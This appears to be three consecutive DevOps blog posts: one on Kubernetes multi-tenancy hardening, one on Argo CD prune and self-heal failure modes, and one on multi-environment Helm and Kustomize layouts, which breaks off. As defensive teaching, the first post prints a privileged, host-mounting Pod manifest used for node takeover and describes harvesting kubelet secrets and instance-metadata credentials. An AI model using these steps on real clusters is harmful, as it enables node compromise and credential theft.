Kubernetes namespaces were never designed to be a security boundary. They were designed so two teams could both name a Deployment api without colliding. Somewhere between that design and today's shared platforms, "each team gets a namespace" turned into "each team is isolated," and those are very different promises.

A namespace scopes names and API permissions. It doesn’t scope the kernel your containers run on, the node they share, the network they talk over, or the CPU and memory they compete for. If one tenant’s workload is compromised, the namespace alone stops almost nothing.

This article walks through one scenario. Two teams share a production EKS cluster, one team’s Pod gets compromised, and each section adds the control that closes the next path the attacker would take. By the end, you’ll have a layered model for multi-tenancy and a clear sense of when a namespace is enough and when it isn’t.

The Scenario

The cluster is eks-prod-shared. The payments team runs payments-api and stores database credentials in a Kubernetes Secret. The growth team runs image-resizer, a service built on a third-party image library. Each team has its own namespace and its own RoleBindings. Leadership believes the teams are isolated.

On a Tuesday, a remote code execution bug in the image library is disclosed. Before growth patches it, an attacker uploads a crafted image and gets a shell inside an image-resizer Pod. From there, here's what a namespace-only cluster allows.

What Kubernetes Namespaces Actually Isolate

Namespaces partition namespaced API objects: Pods, Services, Secrets, ConfigMaps, Roles, and similar. A RoleBinding in growth grants nothing in payments. That part works.

Everything else is shared by every tenant:

$ kubectl api-resources --namespaced=false -o name | head -12
apiservices.apiregistration.k8s.io
certificatesigningrequests.certificates.k8s.io
clusterroles.rbac.authorization.k8s.io
customresourcedefinitions.apiextensions.k8s.io
ingressclasses.networking.k8s.io
mutatingwebhookconfigurations.admissionregistration.k8s.io
namespaces
nodes
persistentvolumes
priorityclasses.scheduling.k8s.io
storageclasses.storage.k8s.io
validatingwebhookconfigurations.admissionregistration.k8s.io

Nodes, PersistentVolumes, CRDs, PriorityClasses, and admission webhooks are all cluster-scoped. So are the things that aren’t API objects at all: the kernel on each node, the Pod network, cluster DNS, and the node’s IAM role. Every Service in the cluster also resolves from every namespace. Our attacker can run nslookup payments-api.payments.svc.cluster.local and get a valid IP back on the first try.

Why RBAC Alone Isn’t Enough

The attacker’s first move is to check what the Pod’s identity can do. Kubernetes mounts a ServiceAccount token into every Pod by default:

$ kubectl auth can-i --list --as=system:serviceaccount:growth:image-resizer -n growth
Resources                Verbs
pods                     [create delete get list patch update watch]
pods/exec                [create]
deployments.apps         [create delete get list patch update watch]
secrets                  [get list watch]
...

Someone bound image-resizer to the built-in edit ClusterRole months ago, so the service could restart its own workers. RBAC is doing exactly what it was told, and none of these permissions reach payments. The problem is that create pods is far more powerful than it looks.

Anyone who can create Pods in a namespace can mount every Secret in that namespace and run as every ServiceAccount in it, so they inherit the highest privilege available there. They can also choose what that Pod looks like: privileged, with the host filesystem mounted, scheduled onto whichever node they like. RBAC controls which API calls you can make. It has no opinion on what the Pods you create are allowed to do once they’re running. That’s the job of admission control, covered below.

The fix starts with not handing out identity by default. Wrong:

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: image-resizer-edit
  namespace: growth
subjects:
  - kind: ServiceAccount
    name: image-resizer
    namespace: growth
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: edit

Right:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: image-resizer
  namespace: growth
automountServiceAccountToken: false

Most application Pods never call the Kubernetes API, so they shouldn’t carry a token at all. The few that do should get a Role with exactly the verbs and resource names they need. Also audit for the RBAC verbs that are effectively cluster-admin in disguise: escalate, bind, impersonate, nodes/proxy, and write access to webhook configurations.

The Shared Kernel Problem

Suppose RBAC is tight, but the attacker still has a shell. The next target is the node.

Containers are processes with namespaces and cgroups applied. Every Pod on a node shares that node’s Linux kernel. A kernel bug or a container runtime bug is a path from one tenant’s container to the host, and from the host to every other Pod on it. This isn’t theoretical. CVE-2024–21626 in runc let a crafted container reach the host filesystem through a leaked file descriptor.

Once on the host, the attacker can read every Secret volume the kubelet has mounted for other Pods on that node, under /var/lib/kubelet/pods/. If a payments-api replica happens to be scheduled next to image-resizer, its database credentials are sitting on that disk. Kubernetes' Node authorizer limits a kubelet to the Secrets of Pods scheduled on its own node, which is exactly the point: whoever owns the node owns everything scheduled on it.

On EKS there’s one more prize on the node: its IAM role. If a Pod can reach the instance metadata service, it can pull the node role’s credentials, which typically include ECR pull, EC2 describe calls, and whatever else someone attached “temporarily.” Require IMDSv2 with a hop limit of 1 on every node, so Pods can’t reach it. Karpenter’s EC2NodeClass does this by default. Managed node groups and custom launch templates often allow a hop limit of 2, so check them. Use EKS Pod Identity for workloads that need AWS access.

Two kernel-level controls reduce the blast radius. User namespaces, GA in Kubernetes 1.36, map root inside the container to an unprivileged UID on the host, so a breakout lands as a nobody:

spec:
  hostUsers: false

Seccomp profiles (RuntimeDefault at minimum) cut the number of syscalls an attacker can use to reach kernel bugs. Neither removes the shared kernel. Both make exploiting it much harder.

Preventing Privileged Workloads

Without a kernel bug, the easiest path to the host is to ask for it. With create pods permission and no admission controls, the attacker can simply submit this:

apiVersion: v1
kind: Pod
metadata:
  name: resizer-debug
  namespace: growth
spec:
  hostPID: true
  containers:
    - name: debug
      image: public.ecr.aws/docker/library/busybox:1.36
      command: ["sleep", "infinity"]
      securityContext:
        privileged: true
      volumeMounts:
        - name: host
          mountPath: /host
  volumes:
    - name: host
      hostPath:
        path: /

That’s full node access, granted by a namespace-scoped permission. Pod Security Admission blocks it with three labels on the namespace:

apiVersion: v1
kind: Namespace
metadata:
  name: growth
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
    pod-security.kubernetes.io/warn: restricted

The restricted profile rejects privileged containers, host namespaces, hostPath volumes, root users, added capabilities, and missing seccomp profiles. Here's the sharp edge: PSA only applies to namespaces that carry the label. A tenant who can create namespaces, or a platform template that forgets the label, quietly falls back to no enforcement. Set a cluster-wide default through the AdmissionConfiguration where you control the API server. On EKS, where you don't, enforce the label itself with a policy that rejects namespaces created without it.

PSA covers the Pod spec. Tenant-specific rules need a policy engine. ValidatingAdmissionPolicy (GA since 1.30) handles them in CEL without running a webhook, and the next section uses it.

Resource Isolation: ResourceQuota and LimitRange

The attacker doesn’t need secrets to hurt payments. They only need the node. A Deployment of 200 replicas with no limits, a Pod that fills the node's disk with temp files, or a fork bomb can starve or evict payments-api Pods sharing the same nodes. Availability is a security property too.

ResourceQuota caps what a namespace can consume. LimitRange gives every container sensible defaults so the quota actually applies:

apiVersion: v1
kind: ResourceQuota
metadata:
  name: growth-quota
  namespace: growth
spec:
  hard:
    requests.cpu: "40"
    requests.memory: 80Gi
    limits.memory: 120Gi
    requests.ephemeral-storage: 100Gi
    limits.ephemeral-storage: 200Gi
    pods: "150"
    services.loadbalancers: "2"
---
apiVersion: v1
kind: LimitRange
metadata:
  name: growth-defaults
  namespace: growth
spec:
  limits:
    - type: Container
      default:
        memory: 512Mi
        ephemeral-storage: 2Gi
      defaultRequest:
        cpu: 100m
        memory: 256Mi
        ephemeral-storage: 512Mi
      max:
        memory: 8Gi

Watch two gaps. First, PriorityClasses are cluster-scoped. A tenant who sets priorityClassName: system-cluster-critical can preempt other tenants' Pods, so add a quota with a scopeSelector on PriorityClass that limits each namespace to the classes you've approved. Second, quotas don't cover process IDs. Set the kubelet's podPidsLimit so one Pod's fork bomb can't exhaust PIDs for the whole node.

Network Isolation Between Namespaces

The Kubernetes network is flat by default. From image-resizer, the attacker can reach payments-api, the payments database proxy, and every other Pod IP in the cluster. Namespaces have no effect on routing at all.

Start every tenant namespace with default deny in both directions, then add back only what’s needed. DNS is the one everyone forgets:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny
  namespace: growth
spec:
  podSelector: {}
  policyTypes: [Ingress, Egress]
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-dns-and-internet
  namespace: growth
spec:
  podSelector: {}
  policyTypes: [Egress]
  egress:
    - to:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: kube-system
          podSelector:
            matchLabels:
              k8s-app: kube-dns
      ports:
        - { protocol: UDP, port: 53 }
        - { protocol: TCP, port: 53 }
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
            except:
              - 10.20.0.0/16        # cluster VPC: no lateral movement
              - 169.254.169.254/32  # instance metadata
      ports:
        - { protocol: TCP, port: 443 }

The sharp edge is enforcement. NetworkPolicy objects are only enforced if your CNI enforces them. On EKS, the VPC CNI needs network policy enabled explicitly, or you install Cilium or Calico. A cluster without enforcement accepts these objects, stores them, and silently ignores them. Test it: run a Pod in growth and try to curl a Service in payments. If it connects, your policies are decoration.

Stronger Isolation Strategies

Everything so far still shares nodes between tenants. For tenants with different trust levels, that’s the remaining hole: one kernel exploit beats every control above. There are three ways to stop sharing.

Dedicated node pools give each tenant its own nodes. With Karpenter, a NodePool per tenant carries a taint and a label:

apiVersion: karpenter.sh/v1
kind: NodePool
metadata:
  name: tenant-growth
spec:
  template:
    metadata:
      labels:
        tenant.payflow.io/team: growth
    spec:
      taints:
        - key: tenant.payflow.io/team
          value: growth
          effect: NoSchedule
      nodeClassRef:
        group: karpenter.k8s.aws
        kind: EC2NodeClass
        name: default

Here’s the sharp edge that defeats most “dedicated node” setups: taints aren’t a security control. Any Pod can add a toleration for any taint, and any Pod can set a nodeSelector for any label. A compromised growth workload can schedule itself onto payments nodes. Enforce placement in admission instead:

apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicy
metadata:
  name: tenant-node-placement
spec:
  failurePolicy: Fail
  matchConstraints:
    resourceRules:
      - apiGroups: [""]
        apiVersions: ["v1"]
        operations: ["CREATE", "UPDATE"]
        resources: ["pods"]
  validations:
    - expression: >-
        has(object.spec.nodeSelector) &&
        'tenant.payflow.io/team' in object.spec.nodeSelector &&
        object.spec.nodeSelector['tenant.payflow.io/team'] ==
        namespaceObject.metadata.labels['tenant.payflow.io/team']
      message: "Pods must target their own tenant's node pool."
---
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicyBinding
metadata:
  name: tenant-node-placement
spec:
  policyName: tenant-node-placement
  validationActions: [Deny]
  matchResources:
    namespaceSelector:
      matchExpressions:
        - key: tenant.payflow.io/team
          operator: Exists

Sandboxed runtimes keep shared nodes but give each Pod its own kernel. Kata Containers runs every Pod in a lightweight VM, and gVisor intercepts syscalls in a user-space kernel. Both are selected per Pod with a RuntimeClass:

apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: kata
handler: kata

The cost is real. Kata needs hardware virtualization (on EC2, usually metal instances), and gVisor adds syscall overhead that hurts I/O-heavy workloads. Use sandboxes for untrusted code, like customer-supplied plugins or CI build jobs, not as a default for everything.

Separate clusters are the only option where the control plane, CRDs, admission webhooks, and cluster-scoped resources aren’t shared at all. On EKS, add separate AWS accounts and the IAM boundary comes along for free.

Designing Secure Multi-Tenant Kubernetes

Here’s how the three common architectures compare:

My default is a hybrid. Internal teams with similar trust share a cluster with namespaces plus every control above. Workloads that handle regulated data get dedicated node pools enforced by admission. Untrusted code runs in a sandboxed runtime. Anything owned by an external customer gets its own cluster. Virtual clusters (vCluster and similar) sit in the middle and give each tenant its own API server and CRDs, but they still share nodes, so the kernel question remains.

Back to the attacker in image-resizer, with every layer applied:

Multi-tenant cluster checklist

• Application ServiceAccounts don’t automount tokens
• No tenant binding to edit or admin for workloads; audit escalate, bind, impersonate
• Every tenant namespace enforces Pod Security restricted, and unlabeled namespaces are rejected
• Seccomp RuntimeDefault everywhere; hostUsers: false where the runtime supports it
• IMDSv2 required with hop limit 1 on every node
• ResourceQuota and LimitRange in every tenant namespace, including ephemeral storage
• PriorityClass usage limited per namespace; kubelet podPidsLimit set
• Default-deny NetworkPolicy in both directions, enforcement verified with a real test
• Tenant node placement enforced by admission, not just taints
• Untrusted code runs in a sandboxed runtime or a separate cluster

A namespace answers “whose is this?” Security questions are about “what can this reach?”, and the answer to that is decided by the kernel, the network, the node, and the admission chain, none of which read namespace boundaries on their own. Multi-tenancy in Kubernetes is a stack of controls you assemble yourself, and the right height for that stack depends on how much you trust the tenant on the other side. Decide that first, and the architecture mostly chooses itself.

Tom Jose is a DevOps Engineer at KotaiCode, where the team helps companies get their Kubernetes and AWS infrastructure production-ready.

Why Kubernetes Namespaces Aren’t a Real Security Boundary was originally published in kotaicode on Medium, where people are continuing the conversation by highlighting and responding to this story.

Argo CD has never deleted a production resource by mistake. Every Deployment it pruned and every manual fix it reverted, it did on purpose, because Git said so. That’s the property that makes GitOps reliable, and it’s the same property that turns a one-line mistake into an outage across every cluster you run.

Most teams turn on automated, prune, and selfHeal together because that's what the getting-started guides show. The result is a system that applies your intent faster and more consistently than any human could, with no opinion at all on whether that intent is any good.

This article covers how those three settings behave in production, the specific ways they cause damage, the safeguards Argo CD gives you (including what each one doesn’t protect), and how to recover when automation has already done the damage. Examples assume Argo CD 3.x.

How Argo CD Automated Sync Actually Works

Argo CD compares two states for every Application: the desired state rendered from Git and the live state in the cluster. It refreshes every three minutes by default, or within seconds if a Git webhook is configured. What happens when the two differ depends on three settings:

spec:
  syncPolicy:
    automated:
      prune: true
      selfHeal: true
      allowEmpty: false

automated syncs when Git changes. A new commit lands, Argo CD applies it. Automated sync attempts each commit once: if the sync fails, it won't retry the same revision unless you've configured retry.

prune deletes resources Argo CD previously managed that no longer appear in Git. Without it, a removed manifest shows up as an orphan that needs pruning, and nothing is deleted.

selfHeal syncs when the cluster changes. If someone edits a managed resource with kubectl, Argo CD reapplies Git's version within seconds.

The key detail is that none of these settings evaluate correctness. Argo CD checks one thing: does live match desired? A Deployment with a typo in its image tag and a Deployment that’s perfect are equally “Synced.” Hold onto that, because every failure below follows from it.

When Prune Accidentally Deletes Production Resources

Prune deletes whatever Git stops describing. The question is how many ways Git can stop describing something without anyone intending a deletion. Here are the ones I see most.

Removing a manifest is the obvious one, usually part of a refactor split across two PRs: “remove the old manifests in this PR, add the Helm chart in the next.” The first PR merges and prune runs before the second exists.

Changing an Application’s source is subtler. Point path from apps/media-service/overlays/production to a new directory that doesn't yet contain every resource, and everything missing gets pruned. Changing targetRevision to a branch that's behind main does the same thing.

ApplicationSet generators are the largest blast radius. Say a cluster generator selects on the label env: production, and someone relabels clusters to environment: production. The generator now produces zero elements. With the default applicationsSync: sync policy, the ApplicationSet deletes every production Application, and the resources-finalizer.argocd.argoproj.io finalizer on each one cascades that deletion to every resource the Application managed. No prune setting is involved at all. The Applications themselves disappeared.

Scenario: one Git commit deletes production resources

media-service stores user uploads on a PVC. The team is migrating it from plain Kustomize manifests to the shared Helm chart, in two PRs. Here's PR one:

# apps/media-service/overlays/production/kustomization.yaml
 resources:
   - ../../base/service.yaml
   - ../../base/ingress.yaml
   - ../../base/configmap.yaml
-  - ../../base/deployment.yaml
-  - ../../base/pvc.yaml

It’s a two-line deletion with a clear description. A reviewer approves it, CI passes because every remaining manifest is valid, and it merges at 14:02.

At 14:04, Argo CD refreshes, sees two managed resources missing from Git, and prunes them:

$ argocd app get media-service-production --show-operation
Operation:          Sync
Sync Revision:      8c41d7e
Phase:              Succeeded
Message:            successfully synced (all tasks run)

GROUP  KIND                   NAMESPACE  NAME           STATUS     HEALTH   MESSAGE
       ConfigMap              media      media-service  Synced              configmap/media-service unchanged
       Service                media      media-service  Synced     Healthy  service/media-service unchanged
apps   Deployment             media      media-service  Succeeded  Pruned   pruned
       PersistentVolumeClaim  media      media-uploads  Succeeded  Pruned   pruned
networking.k8s.io  Ingress    media      media-service  Synced     Healthy  ingress.networking.k8s.io/media-service unchanged

The Deployment is gone, so the Ingress returns 503s. The PVC enters Terminating, its kubernetes.io/pvc-protection finalizer holds on only until the last Pod using it exits, and since the Pods were deleted with the Deployment, that takes seconds. The StorageClass uses reclaimPolicy: Delete, so the EBS CSI driver deletes the volume.

At 14:19, someone reverts the commit. Argo CD recreates the Deployment and a PVC named media-uploads, but it's a brand-new, empty 100Gi volume. The application comes back Synced and Healthy. Every user upload is gone, and Argo CD's dashboard is entirely green.

Notice what went right: review happened, CI passed, Argo CD worked exactly as designed. Git was simply wrong for two minutes, and automation made that permanent.

When Self-Heal Makes Production Incidents Worse

Self-heal assumes the cluster is wrong whenever it disagrees with Git. During an incident, that assumption is often backwards.

A bad image ships, Pods start crash-looping, and the on-call engineer does what years of muscle memory say:

kubectl rollout undo deployment/checkout-api -n checkout

The rollback works for about five seconds. Self-heal sees the live image differ from Git and reapplies the broken one. The engineer runs it again and gets reverted again. Each cycle burns a few minutes of confusion before someone realises the deployment tool is the thing fighting them.

The same thing happens with any manual mitigation: scaling up during a traffic spike (when replicas live in Git), patching an env var to disable a broken feature flag, or bumping a memory limit to stop OOM kills. Self-heal can’t tell an emergency fix from configuration drift. It also has no notion of “this desired state is crash-looping, maybe stop.” It will enforce a broken state indefinitely, quickly and reliably.

Wrong:

# Fight the controller
kubectl rollout undo deployment/checkout-api -n checkout

Right:

# 1. Stop automation for this Application
argocd app set checkout-api-production --sync-policy none

# 2. Mitigate in the cluster (now it sticks)
kubectl rollout undo deployment/checkout-api -n checkout

# 3. Make Git match reality, then turn automation back on
git revert 4e7b9a2 && git push origin HEAD:refs/heads/revert-checkout-4e7b9a2

The fix for a bad commit is always a commit. Manual cluster changes only buy time, and only if automation is paused first.

The Dangerous Combination: Auto-Sync + Prune + Self-Heal

Each setting is reasonable alone. Together, across many clusters, they remove every pause where a human could notice something is wrong.

Here’s a hypothetical. Six production clusters each run payments-gateway from the same Kustomize base, through one ApplicationSet with all three settings enabled. An engineer cleans up the base and makes two mistakes in one commit: they rename a ConfigMap key from UPSTREAM_TIMEOUT_MS to UPSTREAM_TIMEOUT without updating the code, and they drop networkpolicy-allow-ingress.yaml from the resources list, believing it's unused.

Within three minutes, all six clusters sync. The renamed key makes the gateway fall back to a 0ms timeout default, so every upstream call fails. The pruned NetworkPolicy means a default-deny policy now blocks ingress traffic in four of the clusters. On-call patches the ConfigMap by hand in the first cluster, and self-heal reverts it. They delete the default-deny policy temporarily, and the next sync of a different Application that manages it puts it back.

No single feature caused this outage. What caused it was the absence of any stage where a change reaches one cluster, gets observed, and only then reaches the rest. Automation removed the delay that used to give humans a chance to catch the mistake, and nothing replaced it.

Protecting Critical Resources from Accidental Deletion

Argo CD gives you several safeguards. Each one protects against something specific, and none of them protects against everything.

That last row deserves care. A finalizer doesn’t stop deletion. It postpones it. Once an object has a deletionTimestamp, nothing can cancel it, and reverting the Git commit makes Argo CD try to apply a resource that's mid-deletion, which fails. pvc-protection only waits for Pods to let go. If you want a hard stop, use an admission policy that rejects the DELETE call in the first place:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: block-delete-protected-resources
spec:
  background: false
  rules:
    - name: deny-delete-protected
      match:
        any:
          - resources:
              kinds: [PersistentVolumeClaim, Namespace, StatefulSet]
              selector:
                matchLabels:
                  protection.payflow.io/level: critical
              operations: [DELETE]
      exclude:
        any:
          - subjects:
              - kind: Group
                name: payflow:break-glass
      validate:
        failureAction: Enforce
        message: "This resource is protected. Remove the protection label in a reviewed PR, or use the break-glass group."

Here’s how the media-service scenario plays out with protections in place. The PVC carries Prune=false and Delete=false, plus the Kyverno label:

apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: media-uploads
  namespace: media
  labels:
    protection.payflow.io/level: critical
  annotations:
    argocd.argoproj.io/sync-options: Prune=false,Delete=false

The production Application adds Prune=confirm to its syncOptions, so the Deployment removal waits for a human who sees "2 resources pending deletion" instead of a silent success. Even if someone confirms without reading, the PVC is skipped by Argo CD, and Kyverno would reject the delete anyway. The worst case drops from "data loss" to "fifteen minutes of 503s."

Designing Safer GitOps Workflows for Production

Safeguards on resources catch the last mile. The workflow has to catch the rest.

The most effective control I’ve added to GitOps repos is a CI check that fails any PR that deletes a production resource without explicit sign-off. Reviewers read values and manifests, but deletions hide in what’s missing from a diff. Render both branches and compare:

#!/usr/bin/env bash
set -euo pipefail

list() { yq -N '.kind + "/" + .metadata.namespace + "/" + .metadata.name' "$1" | sort -u; }

kustomize build "main/apps/${APP}/overlays/production" > rendered-main.yaml
kustomize build "pr/apps/${APP}/overlays/production" > rendered-pr.yaml

removed=$(comm -23 <(list rendered-main.yaml) <(list rendered-pr.yaml))

if [[ -n "${removed}" ]] && \
   ! gh pr view "${PR_NUMBER}" --json labels -q '.labels[].name' | grep -qx 'approved-deletion'; then
  echo "This PR removes production resources:"
  echo "${removed}"
  echo "Add the 'approved-deletion' label after SRE review to proceed."
  exit 1
fi

The media-service PR would have failed with Deployment/media/media-service and PersistentVolumeClaim/media/media-uploads printed in red. That's a very different review conversation from a two-line diff.

Around that, add the controls that limit how far a bad commit reaches. CODEOWNERS with branch protection puts production paths and shared bases behind SRE review. AppProject restrictions limit which clusters and resource kinds each project can touch, and clusterResourceBlacklist keeps Namespaces out of application projects entirely. Sync windows block production syncs during hours when nobody's watching.

For multi-cluster rollouts, use ApplicationSet Progressive Syncs, so a change reaches staging, then one production cluster, then the rest:

spec:
  strategy:
    type: RollingSync
    rollingSync:
      steps:
        - matchExpressions:
            - key: ring
              operator: In
              values: [staging]
        - matchExpressions:
            - key: ring
              operator: In
              values: [production-canary]
        - matchExpressions:
            - key: ring
              operator: In
              values: [production]
          maxUpdate: 25%

Progressive Syncs has to be enabled on the ApplicationSet controller, and it takes over syncing from each generated Application’s automated policy. That trade is exactly what you want. The payments-gateway commit would have broken one canary cluster instead of six.

Recovering from a Bad Automated Sync

When automation has already done the damage, the order of operations matters more than speed.

First, stop automation, or every fix you make gets reverted. For a single Application, set the sync policy to none. For Applications generated by an ApplicationSet, there’s a sharp edge: the ApplicationSet controller reverts manual edits to its Applications too. Either change the ApplicationSet itself, or allow sync policy overrides ahead of time:

spec:
  ignoreApplicationDifferences:
    - jsonPointers:
        - /spec/syncPolicy

In a true multi-cluster emergency, scaling the argocd-application-controller StatefulSet to zero stops all reconciliation everywhere. That's a blunt break-glass option, so treat it as one. Note also that argocd app rollback refuses to run while automated sync is enabled, which is one more reason to pause first.

Second, find out exactly what changed. Argo CD’s sync history shows the revision and the pruned resources. The EKS audit logs show every DELETE made by the application controller’s service account. CloudTrail shows whether a DeleteVolume followed:

argocd app history media-service-production
argocd app get media-service-production --show-operation
kubectl get pv | grep -E 'Released|Failed'
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=DeleteVolume \
  --start-time 2026-11-02T08:30:00Z --region ap-south-1

Third, revert in Git and sync manually, watching each resource come back. Reverting restores manifests, not data. If the PV was retained, rebind it by clearing its claimRef before the new PVC creates an empty volume. If it wasn't retained, restore from a VolumeSnapshot or Velero backup into the PVC before the workload starts.

Fourth, verify beyond Argo CD’s health status. Healthy means the readiness probe passed. Check the things only your application knows: file counts in the uploads bucket, row counts, a synthetic transaction through the real user path. Re-enable automation only after that, and only with the safeguards from this article in place.

Production prune and self-heal checklist

• Stateful resources carry Prune=false,Delete=false and an admission-level delete block
• Production Applications use Prune=confirm or have prune disabled
• allowEmpty stays false (never set it to true in production)
• ApplicationSets use applicationsSync: create-update for production
• StorageClasses for production data use reclaimPolicy: Retain
• CI fails PRs that remove production resources without an approval label
• Multi-cluster changes roll out through Progressive Syncs, not all at once
• The incident runbook says “pause automation” before any manual fix
• ignoreApplicationDifferences allows sync policy overrides during incidents
• Backups are restorable and tested, because a Git revert never brings data back

GitOps moved the source of truth into Git, and that’s the part teams celebrate. The less obvious consequence is that Git also became the most powerful delete button in your infrastructure, operated by anyone who can merge. Prune and self-heal aren’t the problem. They do exactly what they promise. The problem is assuming that a reconciler that keeps your cluster consistent also keeps it correct. Consistency is Argo CD’s job. Correctness is still yours, and the safeguards are how you get a chance to check it before automation makes a mistake permanent.

Tom Jose is a DevOps Engineer at KotaiCode, where the team helps companies get their Kubernetes and AWS infrastructure production-ready.

The Hidden Danger of Argo CD’s Prune and Self-Heal Features was originally published in kotaicode on Medium, where people are continuing the conversation by highlighting and responding to this story.

Run this in any repository that keeps one folder of manifests per environment:

$ diff -rq k8s/staging k8s/production
Files k8s/staging/deployment.yaml and k8s/production/deployment.yaml differ
Files k8s/staging/configmap.yaml and k8s/production/configmap.yaml differ
Files k8s/staging/ingress.yaml and k8s/production/ingress.yaml differ
Only in k8s/staging: pdb.yaml
Only in k8s/staging: networkpolicy.yaml

Some of those differences are supposed to be there. Production runs more replicas and uses a different hostname. Others are accidents: a PodDisruptionBudget and a NetworkPolicy were added to staging and never copied forward. The output can’t tell you which is which, and neither can anyone reviewing the next PR.

That’s the real cost of copy-pasted YAML. Duplication isn’t the problem by itself. The problem is that intentional differences and accidental drift look identical. This article shows how to run one application across three environments with a single reusable base and small, explicit overrides, using Helm, Kustomize, and Argo CD. The goal is one application, three environments, and zero copy-pasted manifests.

Why Multi-Environment Kubernetes Becomes a YAML Nightmare

Copying manifests feels cheap on day one. You have a working deployment.yaml for dev, so you copy it to staging/ and production/, change the replica count, and move on.

The trouble starts with the second change. Someone fixes a readiness probe in production during an incident and forgets dev. Someone adds a sidecar to staging to test it and never promotes it. Six months later the three files share maybe 80% of their content, and nobody knows which 20% is deliberate. Deployments that pass in staging fail in production, because staging was never running the same thing.

Here’s the service this article deploys, checkout-api, and the only differences it should have between environments:

Configuration Development Staging Production Replicas 1 2 3 CPU request 100m 250m 500m Memory request 128Mi 256Mi 512Mi Autoscaling Disabled Enabled Enabled Secrets Dev secret store Staging secret store Production secret store Deployment Auto-sync Auto-sync Controlled sync

Everything not in that table, including probes, security context, labels, ports, and sidecars, should be identical everywhere. The repository structure exists to enforce that.

Designing a Scalable Repository Structure

The rule I build everything around is that every value lives in exactly one layer. There are four layers:

platform-charts/                     # versioned, owned by the platform team
  charts/
    service/

platform-gitops/
  apps/
    checkout-api/
      base/
        values.yaml                  # identical in every environment
      envs/
        dev/values.yaml              # only what differs in dev
        staging/values.yaml
        production/values.yaml
  clusters/
    eks-dev/cluster-values.yaml      # domain, ingress class, region
    eks-staging/cluster-values.yaml
    eks-production/cluster-values.yaml
  argocd/
    applicationsets/checkout-api.yaml
    projects/production.yaml

The shared chart defines how a service is shaped. The base defines what’s true for checkout-api everywhere. The env file defines how this service differs per environment. The cluster file defines what's true for every service in a cluster, like the ingress domain. If you're about to put a value in two places, it belongs one layer up.

One structural decision deserves an opinion: use directories for environments, not branches. Branch-per-environment (dev, staging, main) looks clean until you need it to work. Promotion becomes a merge that drags along unrelated commits, hotfixes become cherry-picks, and the difference between staging and production is hidden in Git history instead of sitting in two files you can open side by side. With directories, diff envs/staging/values.yaml envs/production/values.yaml tells you everything.

The structure also has to hold up at fifty services, not just one. Adding a service should mean adding a folder under apps/, nothing more. Cluster-wide changes, like moving every service in staging to a new ingress domain, become a one-line edit in clusters/eks-staging/cluster-values.yaml instead of fifty PRs. If a change at that scale still requires touching every service folder, a value is living in the wrong layer.

Helm vs Kustomize: Choosing the Right Approach

Both tools solve the same problem from opposite directions. Helm generates YAML from templates and values. Kustomize starts with plain YAML and patches it.

Helm wins when many services share one shape. One chart, maintained once, renders fifty services, and each service only supplies values. Here’s the base for checkout-api:

# apps/checkout-api/base/values.yaml
image:
  repository: 123456789012.dkr.ecr.ap-south-1.amazonaws.com/checkout-api
service:
  port: 8080
probes:
  readinessPath: /ready
  livenessPath: /healthz
config:
  LOG_FORMAT: json
  PAYMENT_TIMEOUT_MS: "3000"
replicaCount: 1
resources:
  requests:
    cpu: 100m
    memory: 128Mi
  limits:
    memory: 256Mi
autoscaling:
  enabled: false
podDisruptionBudget:
  enabled: false
externalSecret:
  enabled: true
  key: checkout-api/runtime

And here’s everything production adds:

# apps/checkout-api/envs/production/values.yaml
image:
  tag: 4.12.3
resources:
  requests:
    cpu: 500m
    memory: 512Mi
  limits:
    memory: 1Gi
autoscaling:
  enabled: true
  minReplicas: 3
  maxReplicas: 12
  targetCPUUtilizationPercentage: 65
podDisruptionBudget:
  enabled: true
  minAvailable: 2
config:
  FEATURE_SPLIT_PAYMENTS: "false"

The dev file is six lines: an image tag and nothing else, because the base already holds dev’s values.

Kustomize wins when you don’t own the YAML or don’t want templating at all. The same service as a Kustomize base and overlay looks like this:

# overlays/production/kustomization.yaml
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
namespace: checkout
resources:
  - ../../base
  - pdb.yaml
images:
  - name: checkout-api
    newName: 123456789012.dkr.ecr.ap-south-1.amazonaws.com/checkout-api
    newTag: 4.12.3
patches:
  - path: resources-patch.yaml
  - target:
      kind: HorizontalPodAutoscaler
      name: checkout-api
    patch: |-
      - op: replace
        path: /spec/minReplicas
        value: 3
      - op: replace
        path: /spec/maxReplicas
        value: 12

# overlays/dev/kustomization.yaml
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
namespace: checkout
resources:
  - ../../base
patches:
  - patch: |-
      $patch: delete
      apiVersion: autoscaling/v2
      kind: HorizontalPodAutoscaler
      metadata:
        name: checkout-api

My rule of thumb is simple. Use Helm for your own services, because a shared chart is how you stop fifty teams writing fifty Deployments. Use Kustomize for third-party manifests you want to patch without forking, and as a last-mile layer on top of Helm when one environment needs something the chart doesn’t expose. Argo CD can render a Helm chart through Kustomize’s helmCharts field (with --enable-helm), but if you reach for that combination often, your chart is missing a value.

The case where combining them makes sense is vendor charts. Say the upstream chart for a tool like the AWS Load Balancer Controller doesn’t expose a topologySpreadConstraints value, and production needs one. Forking the chart means owning every future upgrade. A Kustomize patch over the rendered chart is ten lines, survives upgrades, and lives in the production overlay where reviewers expect environment-specific changes.

Managing Environment-Specific Configuration

Most of the table maps to values directly. Replicas and autoscaling hide the first sharp edge.

Production has replicaCount: 3 and an HPA. If the chart always renders spec.replicas, Argo CD and the HPA fight. The HPA scales to 8 during a traffic spike, Argo CD sees drift against Git's 3, and selfHeal scales it back down. That's 5 Pods gone at peak load, triggered by your deployment tool. With autoscaling on, the replica count belongs to the HPA, and minReplicas: 3 is how production expresses "three replicas."

